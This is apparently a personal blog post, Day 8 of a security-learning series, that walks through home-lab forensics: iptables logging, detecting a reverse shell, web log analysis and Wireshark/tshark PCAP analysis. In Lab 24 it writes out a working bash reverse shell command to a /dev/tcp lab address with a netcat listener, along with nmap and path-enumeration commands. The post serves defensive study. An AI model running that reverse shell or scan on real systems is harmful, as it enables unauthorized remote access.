The Defender's Playbook: Forensics, Detection & the Art of Reading Attack Evidence

📍 Journey Navigation Prev: Day 7 — Identity Theft at the Network Layer | Day 1 | Day 3 | Day 5 | Day 6 | Day 7 | Day 8 |

Status: Day 8 of 90-day AI Security journey
Labs Completed: 23–26 (Firewall Log Analysis · Reverse Shell Detection · Web Log Forensics · PCAP Analysis)

Where Yesterday Left Off

Days 5 through 7 were about offense. I scanned networks, fired reverse shells, intercepted sessions, poisoned DHCP, and redirected DNS. I built the entire attack chain end-to-end and understood every moving part.

Today I switched chairs entirely.

The same labs I attacked last week — I now investigated. The same traffic I generated — I now had to find. The same commands I typed into a reverse shell — I now had to reconstruct from evidence.

This is the moment where the journey shifts from "I can break things" to "I can break things and explain exactly what happened afterward." That second skill is what turns a hacker into a security engineer.

The theme of today: every attack leaves a trail. A defender's job is to know where to look before the attack happens.

Before the Labs: The Defender's Mental Model (Theory You'll Never Forget)

Before touching a single log file, you need to understand the foundational philosophy of defensive security — because without it, log analysis is just pattern matching without meaning.

The Crime Scene Analogy

When a crime is committed in the physical world, detectives don't just look for the criminal. They look for evidence left behind: fingerprints on a surface, footprints in the mud, timestamps on cameras, a receipt in a bin.

Digital attacks work exactly the same way. Every action an attacker takes — every packet sent, every file accessed, every process spawned — creates an artifact. An artifact is just a piece of evidence that survived. The attacker's job is to accomplish their objective. The defender's job is to collect and read the artifacts before the attacker cleans up.

The key insight: you don't need to catch the attacker in real time. You need to design your environment so that everything leaves evidence, and you know where to look.

The Three Layers of Evidence

Every system in your environment generates evidence at three layers, and each layer tells a different part of the story:

Layer 1 — Network Layer (Router/Firewall logs, PCAP files)

• Tells you: who talked to whom, when, on what port, using what protocol
• Tools: iptables LOG, tcpdump, Wireshark
• Blind spot: doesn't tell you what happened inside the machine after connection

Layer 2 — Application Layer (HTTP access logs, auth logs)

• Tells you: what specific resources were accessed, what was downloaded, what credentials were used
• Tools: web server logs, auth.log, syslog
• Blind spot: doesn't tell you what the attacker did after they got a shell

Layer 3 — Host Layer (process tables, network connections, file system)

• Tells you: what processes are running, what they're connected to, what files were touched
• Tools: ss, ps, lsof, find
• Blind spot: volatile — disappears when the system restarts

The defender's workflow: move from Layer 1 outward. Start at the network perimeter, identify the suspicious IP and timeframe, then drill into the application layer to see what they accessed, then check the host to see what they did after they landed.

This is exactly the workflow I ran through today across four labs.

Lab 23 — Firewall Log Analysis: Teaching the Router to Testify

Before the Lab: How iptables Logging Works (The Theory)

iptables is the Linux kernel's packet filtering system. You've seen it used for blocking traffic — DROP, REJECT. But it has a third action that most beginners ignore: LOG.

When a packet matches a LOG rule, the kernel writes a structured record to /var/log/syslog. This record contains everything you need to reconstruct a network event: timestamp, source IP, destination IP, source port, destination port, protocol, TCP flags, and packet size.

The architecture looks like this:

Network traffic arrives
        ↓
iptables FORWARD chain evaluates rules in order
        ↓
Rule 1: LOG (writes record to syslog, passes packet through)
        ↓
Rule 2: DROP or ACCEPT (actual traffic decision)

Critical detail: LOG is not a terminating action. A packet that matches a LOG rule continues being evaluated by subsequent rules. This is why you can LOG and DROP in sequence — first write evidence, then discard the packet.

The Anatomy of an iptables Log Entry

Once you've enabled logging, syslog entries look like this:

Mar 27 09:15:32 router kernel: FW-FORWARD: IN=eth0 OUT=eth1 
SRC=192.168.100.10 DST=192.168.100.30 LEN=44 TTL=64 
PROTO=TCP SPT=54821 DPT=8080 FLAGS=SYN

Every field matters. Learning to read this is like learning to read a fingerprint card:

The FLAGS field is gold. A SYN flag with no ACK means a connection attempt was made but not completed — the signature of a port scanner. An ACK flag means an established connection. A RST means a connection was refused. Knowing TCP flags lets you reconstruct the entire conversation from raw log entries.

The Lab

I enabled logging on the router's FORWARD chain:

sudo iptables -I FORWARD -j LOG --log-prefix 'FW-FORWARD: ' --log-level 4

Then generated three distinct types of traffic from Kali: a normal ping, an nmap SYN scan, and an HTTP curl. The goal was to see how each type looks different in the logs.

# From Kali
ping -c 3 192.168.100.30
sudo nmap -sS 192.168.100.30
curl http://192.168.100.30:8080

Then on the router, I started reading the evidence:

sudo grep 'FW-FORWARD' /var/log/syslog | tail -30
sudo grep 'FW-FORWARD' /var/log/syslog | grep 'SRC=192.168.100.10'
sudo grep 'FW-FORWARD' /var/log/syslog | grep 'DPT=8080'

The Pattern Recognition Moment

The most important part of this lab was comparing the log density between a normal request and an nmap scan:

# Count entries from Kali's IP
sudo grep 'FW-FORWARD' /var/log/syslog | grep 'SRC=192.168.100.10' | wc -l

Normal ping: 3 entries (one per packet)
Normal curl: ~5 entries (TCP handshake + HTTP request)
nmap SYN scan: hundreds of entries in seconds

That density difference — same source IP, wildly different packet count, all with SYN flags and no ACK — is a port scan. No human generates that pattern. No legitimate application generates that pattern. It is the unmistakable signature of reconnaissance.

I then wrote a bash one-liner to find the "top talkers" — IPs generating the most traffic:

sudo grep 'FW-FORWARD' /var/log/syslog | grep -oP 'SRC=\S+' | sort | uniq -c | sort -rn | head -10

Output:

487  SRC=192.168.100.10
 12  SRC=192.168.100.20
  3  SRC=192.168.100.1

In a real SOC, this one-liner is the starting point of every network investigation. An IP with 487 entries when every other machine has under 20 is not a normal user. That IP becomes the focal point of the entire investigation.

What This Looks Like in Production

Real enterprise firewalls (Palo Alto, Fortinet, AWS Security Groups) do exactly this — they write structured logs for every packet matching a rule. Those logs are shipped to a SIEM (Splunk, Elastic, Sentinel), where detection rules fire alerts when patterns like port scans, connection floods, or unusual port access appear.

The FW-FORWARD prefix is just a label for grep. In Splunk, the same data becomes a query like source=firewall | stats count by src_ip | where count > 100. Different interface, same logic.

Lab 24 — Reverse Shell Detection: What a Compromise Looks Like from the Inside

Before the Lab: Indicators of Compromise (The Theory You Need)

An Indicator of Compromise (IoC) is a piece of evidence that suggests a system has been compromised. In forensics, we distinguish between three types:

Atomic IoCs — single, standalone facts

• An IP address known to be malicious
• A file hash matching known malware
• A domain used by a C2 server

Computed IoCs — patterns derived from combining data

• The same session token appearing from two IPs (Day 7's session hijacking detection)
• A bash process with a network socket on a non-standard port
• HTTP requests for /admin followed immediately by a shell download

Behavioral IoCs — patterns of activity over time

• A machine that never initiates outbound connections suddenly connecting to an external IP on port 4444
• A login at 3 AM from a country where no employees live
• A server sending 50x more data outbound than it receives inbound

Today's lab focused on computed and behavioral IoCs — specifically the signature of a reverse shell.

The Reverse Shell Forensic Signature

Recall from Day 5 why reverse shells work: they exploit the fact that firewalls block inbound connections but allow outbound. The target machine calls out to the attacker.

This means the forensic signature is on the target machine, not the network perimeter:

bash process
    ↳ has file descriptors pointing to a TCP socket
    ↳ that socket connects to an external IP
    ↳ on a non-standard port (e.g. 4444)
    ↳ connection is ESTABLISHED (not listening)
    ↳ no TTY associated with the process

Every one of these characteristics is detectable. You just need to know which tool reveals which layer.

The Detection Toolkit

The key question you're always asking: "Why does a bash process have a network socket?" Bash is a shell interpreter. It has no business connecting to the internet. If it does, something is wrong.

The Lab

I set up monitoring on the webserver before triggering the reverse shell — because real defenders don't get to start watching after the attack begins. They need continuous visibility.

Terminal 1 on Webserver — watching connections:

watch -n 2 'ss -tulnp | grep ESTABLISHED'

Terminal 2 on Webserver — watching processes:

watch -n 2 'ps aux | grep bash'

Then from Kali, I triggered the reverse shell (Lab 9 method):

# Kali listener
nc -lvnp 4444

# Webserver payload
bash -c 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1'

The moment the shell connected, both monitoring terminals lit up simultaneously.

ss output:

tcp  ESTABLISHED  192.168.100.30:52841  192.168.100.10:4444  users:(("bash",pid=2847))

ps output:

ubuntu  2847  bash -i

A bash process. Connected to Kali. On port 4444. Established. This is the IoC.

Post-attack log investigation:

sudo grep -i 'bash\|shell\|exec' /var/log/auth.log
sudo grep 'bash' /var/log/syslog | tail -20

Router-side confirmation:

sudo tcpdump -i ens256 'tcp and port 4444' -n

The tcpdump on the router showed the exact moment the connection was established — a SYN from .30 to .10 on port 4444, followed immediately by a sustained data stream. The payload download and the shell connection are two separate TCP flows, both visible, both timestamped.

Writing a Detection Rule

The lab included writing a basic bash detection script — a simplified version of what a real EDR tool does:

#!/bin/bash
# Check for outbound connections on non-standard ports
ss -tulnp | grep ESTABLISHED | grep -v ':22\|:80\|:443\|:8080' | while read line; do
    echo "[ALERT] Suspicious connection: $line"
done

This script enumerates established connections, filters out known-good ports (SSH, HTTP, HTTPS), and alerts on everything else. In a real environment, this runs as a cron job every minute and pipes alerts to a logging system. The logic is identical to SIEM correlation rules — the difference is just the interface.

The Real-World Connection: EDR Tools

Modern Endpoint Detection and Response (EDR) tools like CrowdStrike Falcon, SentinelOne, and Microsoft Defender for Endpoint do exactly what I did manually in this lab — but continuously, across thousands of machines, with machine learning to reduce false positives.

The underlying detection logic is the same:

• Process spawning unexpected child processes? Alert.
• Process with network socket that doesn't normally have one? Alert.
• Known-good binary (bash, powershell) connecting to external IP? Alert.

Understanding the manual detection makes you able to write detection rules, tune EDR policies, and reason about what a tool is and isn't catching.

Lab 25 — Web Log Forensics: Reconstructing an Attack from HTTP Records

Before the Lab: What Web Server Logs Actually Contain (The Theory)

Every web server — Apache, Nginx, Python's SimpleHTTP, your custom FastAPI service — logs HTTP requests in a format called the Common Log Format (CLF):

192.168.100.10 - - [27/Mar/2026:09:22:15 +0000] "GET /.env HTTP/1.1" 200 47

Breaking this down field by field:

These seven fields — especially IP, timestamp, path, and status code — are enough to reconstruct an entire attack timeline.

The Status Code as an Attack Narrative

HTTP status codes are not just error messages. In a forensic context, they tell the story of what the attacker found and didn't find:

The pattern of a successful enumeration attack:

200 /                    ← attacker found the server
404 /admin               ← tried admin panel, doesn't exist
404 /wp-admin            ← tried WordPress admin, not here
404 /.git                ← tried git directory
200 /.env                ← FOUND the env file
200 /config.txt          ← FOUND the config file
200 /backup/db.sql       ← FOUND the database backup

A sequence of 404s followed by 200s is the unmistakable pattern of directory brute-forcing. The attacker tried many paths systematically until they found something. In a real log analysis, this sequence — especially the transition from 404 to 200 on sensitive paths — is a critical finding.

The status code cheat sheet for forensics:

The 403 vs 404 distinction matters enormously. A 403 on /admin tells an attacker that an admin panel exists — it's just protected. A 404 says nothing is there. Production servers should return 404 for sensitive resources even if they exist, so attackers get no information about the target.

The Lab

First I generated realistic attack traffic from Kali:

# Directory enumeration
for path in .env config.txt backup admin; do
    curl -s http://192.168.100.30:8080/$path
done

# Download sensitive file
curl http://192.168.100.30:8080/config.txt

# Payload delivery attempt
curl http://192.168.100.30:8080/shell.sh

On the webserver, the Python HTTP server logged every request. I redirected those logs to a file:

python3 -m http.server 8080 2>&1 | tee ~/access.log

Then I ran the forensic analysis:

Find all requests from the attacker's IP:

grep '192.168.100.10' ~/access.log

Show only successful requests:

grep '" 200' ~/access.log

Show failed attempts (enumeration pattern):

grep '" 404' ~/access.log

Build a timeline — sorted by timestamp:

grep '192.168.100.10' ~/access.log | awk '{print $4, $6, $7}' | sort

Output (reconstructed attack timeline):

[09:22:11] "GET" /
[09:22:12] "GET" /.env
[09:22:12] "GET" /config.txt
[09:22:13] "GET" /backup
[09:22:15] "GET" /shell.sh

In four seconds, the attacker found the server, tried known sensitive paths, found two files with credentials, and attempted to deliver a payload. The entire operation is timestamped and documented in the access log.

Indicators of Compromise in HTTP Logs

From the forensic workflow, I identified three distinct IoC patterns:

IoC 1 — Rapid enumeration (many 404s from single IP):

Multiple requests to /admin, /.git, /.env, /config, /backup in under 1 second

This is automated scanning. No human browses this fast.

IoC 2 — Sensitive file access (200 on dangerous paths):

200 /.env
200 /config.txt

These files should never return 200. If they do, your configuration is exposed.

IoC 3 — Payload delivery signature:

200 /shell.sh

Followed by a reverse shell connection in router logs — this two-event sequence (file download + outbound TCP) is the complete web delivery attack chain.

The Forensic Workflow in Production

Real web servers in production use structured JSON logging (instead of CLF) and ship logs to tools like:

• ELK Stack (Elasticsearch + Logstash + Kibana) — ingest, store, and visualize logs at scale
• Splunk — enterprise SIEM with powerful search and correlation
• AWS CloudWatch / Azure Monitor — cloud-native log aggregation

The detection logic is identical to what I ran with grep and awk. Splunk just runs it automatically on millions of events per second and fires an alert when the pattern matches.

Lab 26 — PCAP Analysis: The Ground Truth of Network Forensics

Before the Lab: What a PCAP File Actually Is (The Theory)

A PCAP (Packet Capture) file is a recording of raw network traffic. Every packet that traversed the network interface during the capture window is preserved — the full Ethernet frame, IP header, TCP header, and application payload. Nothing is summarized. Nothing is inferred. It is the complete, unedited record of what happened at the network layer.

The analogy: if firewall logs are security camera footage (a summary of who entered and when), a PCAP file is the full uncompressed video with audio. You can replay it, zoom in, filter it, and reconstruct every conversation.

The PCAP Forensic Hierarchy

PCAPs are considered the gold standard of network evidence because they are:

1. Complete — every byte of every packet is preserved
2. Unambiguous — the data is the raw protocol, not an interpretation
3. Replayable — you can re-analyze them with different tools months later
4. Admissible — in legal proceedings, properly collected PCAPs are court-admissible evidence

This is why real incident responders always capture network traffic during an investigation — the PCAP is the primary evidence source that everything else gets correlated against.

The Four Questions PCAP Analysis Answers

Every PCAP investigation starts with four questions:

1. Who is talking? (Source IP, destination IP — identify the suspicious conversation)
2. What protocol? (TCP/UDP/DNS/HTTP — what kind of communication)
3. What content? (Payload — what data was exchanged)
4. What pattern? (Timing, frequency, data volume — behavioral signature)

Wireshark's filter language lets you answer each of these with surgical precision.

The Essential Wireshark Filter Vocabulary

Before the lab, I want to give you the filter set that covers 90% of real investigations:

# Show only HTTP traffic
http

# Show traffic to/from a specific IP
ip.addr == 192.168.100.10

# Show traffic on a specific port
tcp.port == 4444

# Show DNS queries
dns

# Show HTTP requests only (not responses)
http.request

# Combine filters with AND
tcp.port == 4444 && ip.addr == 192.168.100.10

# Find specific content in HTTP
http contains "password"

# Show only established TCP connections
tcp.flags.syn == 1 && tcp.flags.ack == 0

The last filter is particularly powerful — SYN without ACK shows only connection initiation packets, which is the signature of a port scan or connection attempt.

The Lab

I captured traffic during a reverse shell attack: started Wireshark on Kali, ran Lab 9's reverse shell from the webserver to Kali on port 4444, stopped capture, and saved the PCAP.

Then the investigation began.

Step 1 — First look (no filter)

Before applying any filter, look at the protocol distribution. In a normal HTTP lab environment, you'd expect mostly TCP and HTTP packets. What I saw instead: a large burst of TCP SYN packets (port scan), then HTTP traffic, then a sustained TCP stream on port 4444 with no higher-level protocol. That sustained stream without a recognized protocol is the reverse shell.

Step 2 — Isolate the reverse shell

Filter: tcp.port == 4444

This showed exactly three connection events:

1. SYN (Webserver → Kali) — shell connecting home
2. SYN-ACK (Kali → Webserver) — listener accepting
3. ACK (Webserver → Kali) — connection established

Then a sustained bidirectional data stream. I right-clicked on the first packet → Follow → TCP Stream.

The TCP Stream view showed the entire shell session in plaintext:

bash: no job control in this shell
ubuntu@webserver:~$ whoami
ubuntu
ubuntu@webserver:~$ hostname
webserver
ubuntu@webserver:~$ cat /etc/passwd

Every command I typed on Kali. Every response from the webserver. Complete. Unencrypted. Timestamped. This is what a PCAP reveals that log files cannot — not just that a connection happened, but what was said inside it.

Step 3 — Find the payload delivery

Filter: http && http.request.method == "GET"

This showed the GET /shell.sh request. I followed the TCP stream and could read the shell.sh content that was delivered — the bash reverse shell payload, in full, as it transited the network.

Step 4 — Extract statistics

In Wireshark: Statistics → Conversations → TCP tab.

This showed every TCP conversation in the capture sorted by bytes transferred. The top entry: Kali (.10) ↔ Webserver (.30) on port 4444, transferring significantly more data than any other conversation. The volume asymmetry (more data going from Kali to Webserver in responses than commands being sent) is also visible here — the server is talking more than the client, which is normal for an interactive shell.

Step 5 — CLI analysis with tshark

Wireshark has a CLI version called tshark that enables scripted, automated analysis — the same tool that SIEM systems use to process PCAP files programmatically:

# Show all source/destination IPs for port 4444 traffic
tshark -r ~/reverse_shell.pcap -Y 'tcp.port == 4444' -T fields -e ip.src -e ip.dst

# Show all HTTP request URIs
tshark -r ~/reverse_shell.pcap -Y 'http' -T fields -e http.request.uri

# Extract all unique IPs in the capture
tshark -r ~/reverse_shell.pcap -T fields -e ip.src | sort | uniq

This is the scripting interface to Wireshark — you can pipe this output into Python, feed it into a SIEM, or run it automatically on PCAPs collected from network taps.

Connecting All Four Labs: The Complete Investigation Workflow

The most important thing today was running all four labs as a single connected investigation — because in real incident response, you never use just one tool. You correlate evidence across all layers.

Here is the complete workflow, from first alert to full incident understanding:

LAYER 1: NETWORK (Router firewall logs)
    ↓
"FW-FORWARD log shows 487 packets from 192.168.100.10 in 3 seconds — all SYN flags"
→ Possible port scan from this IP at 09:21:55

    ↓
LAYER 1: PCAP (Wireshark)
    ↓
"Confirm: hundreds of SYN packets to sequential ports → port scan confirmed"
"Then: GET /shell.sh → HTTP 200 → file delivered"
"Then: TCP stream on port 4444 established — reverse shell"

    ↓
LAYER 2: APPLICATION (Web access logs)
    ↓
"09:22:12 - 192.168.100.10 - GET /.env - 200"
"09:22:12 - 192.168.100.10 - GET /config.txt - 200"
"09:22:15 - 192.168.100.10 - GET /shell.sh - 200"
→ Attacker found credentials, then delivered payload

    ↓
LAYER 3: HOST (Process/connection monitoring on webserver)
    ↓
"ss shows: bash ESTABLISHED → 192.168.100.10:4444"
"ps shows: bash -i running with no TTY"
→ Active reverse shell confirmed on this host

    ↓
INCIDENT RECONSTRUCTION
    ↓
09:21:55 — Port scan from 192.168.100.10
09:22:12 — Credentials accessed (/.env and /config.txt)
09:22:15 — Payload delivered (shell.sh)
09:22:16 — Reverse shell established (port 4444)
09:22:30 — Commands executed: whoami, hostname, cat /etc/passwd

That is a complete, timestamped incident report. Built entirely from logs and packet captures. No guessing. No assumptions. Just evidence.

The Defender's Mindset: What "Good" Actually Looks Like

After running these labs from the defender's side, I now have a clear picture of what good security operations look like — and what most organizations get wrong.

What Most Organizations Do

• They have firewalls (that DROP without LOG)
• They have web servers (that log to a file nobody reads)
• They have no PCAP capture (or it fills up and overwrites)
• They have no baseline (so they don't know what's normal)
• They react to breaches instead of detecting them in progress

What Good Organizations Do

1. Log everything that matters, consistently

Every packet through the firewall gets a log entry. Every HTTP request gets recorded. Every authentication attempt gets recorded. Logs are shipped off the system immediately so an attacker can't delete them.

2. Establish baselines

You can't detect anomalies if you don't know what normal looks like. Normal for this server: 3 HTTP requests per minute, all from internal IPs, all to known paths. Anything outside that baseline generates an alert.

3. Correlate across layers

A firewall alert by itself means little. A firewall alert + web log showing credential access + host-level reverse shell process = confirmed incident. The correlation is what turns noise into signal.

4. Assume breach

Modern security philosophy doesn't ask "have we been breached?" It asks "when were we breached and what did they access?" This is why logging and forensic capability matter more than perfect prevention — prevention fails, detection and response are what limit damage.

The Mindset Shift

Days 1–7: I learned how to break systems.

Day 8: I learned that every technique I used left a trail, and that a properly configured environment would have caught every step.

The Core Realization: Attackers and defenders are playing the same game on the same board. The attacker tries to accomplish an objective while leaving the minimum evidence. The defender tries to ensure the environment leaves the maximum evidence and builds detection rules for known attack patterns.

The skill that separates a junior security person from a senior one is not knowing more attack tools. It's being able to look at a log file, a packet capture, or a process list and reconstruct exactly what happened — and then build controls that would catch it earlier next time.

After this week, I can do both.

Tomorrow — IDS Setup & The Attack Detection Project

Tomorrow I move to Labs 27 and 28: building an actual IDS with Suricata and running the full attack chain — scan, enumerate, deliver, shell — while simultaneously detecting every stage in real time. Attacker and defender, running in parallel, on the same network.

That's the capstone of Week 1. Attack simulation → real-time detection → evidence collection → incident report.

Day 8 of 90 | Labs 23–26: ✅ Complete | Firewall Log Analysis: ✅ | Reverse Shell Detection: ✅ | Web Log Forensics: ✅ | PCAP Analysis (Wireshark + tshark): ✅ | IoC Theory: ✅ | Tomorrow: IDS + Attack Detection Project 🔴

🔗 Related Posts

• Day 7 — Identity Theft at the Network Layer — The attacks I investigated today: session hijacking and rogue DHCP
• Day 6 — The Wiretap Protocol: Breaking LAN Trust — The ARP and DNS attacks whose packet signatures I analyzed in Lab 26
• Day 5 — HTTP, Reverse Shells & Three Minds — The reverse shell I detected today in Lab 24
• Day 4 — Nmap, Firewalls & the Attacker's View — First exposure to iptables logging, which today's Lab 23 built on
• Day 3 — From Theory to Packets — The lab network and Wireshark foundation for today's PCAP analysis
• Why I'm Learning AI Security — The bigger picture: defense skills are the foundation for AI security work